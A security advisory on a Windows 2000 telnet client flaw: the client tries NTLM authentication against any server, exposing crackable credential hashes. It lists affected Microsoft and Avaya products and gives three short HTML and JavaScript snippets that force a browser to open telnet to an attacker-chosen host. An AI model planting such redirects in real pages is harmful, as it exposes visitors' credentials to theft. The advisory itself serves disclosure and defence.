Title: Microsoft Windows 2000 telnet.exe NTLM Authentication Vulnerability
Severity: MODERATE
Description:
By default, the telnet client (telnet.exe) shipped with Microsoft Windows 2000 utilizes Windows NT Challenge/Response (NTLM) as an authentication method. When establishing a connection to a host, the telnet client will attempt authentication via NTLM, regardless of whether or not the host is a Windows telnet server or not. There is a possibility that the NTLM challenge/response authentication session could be monitored and subsequently cracked, which could lead to the disclosure of sensitive information such as usernames, passwords, domains, etc. The NTLM challenge/response protocol is known to be susceptible to brute-force cracking, as demonstrated in the tool "L0phtcrack."
Forcing a telnet session on a remote target is a trivial task because products such as Microsoft Internet Explorer, Outlook (Express), Netscape Navigator, etc. will automatically open URLs with a "telnet://" prefix in a default telnet client (which is normally telnet.exe). The following are some examples of how one could open a telnet session on a specified rogue server:
1) frame src=telnet://target
2) meta http-equiv="refresh" content="0;URL=telnet://telnet-attacker"
3) window.open("telnet://target")
Affected Products:
- Avaya DefinityOne Media Servers
- Avaya IP600 Media Servers
- Avaya S3400 Message Application Server
- Avaya S8100 Media Servers
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server SP1
References:
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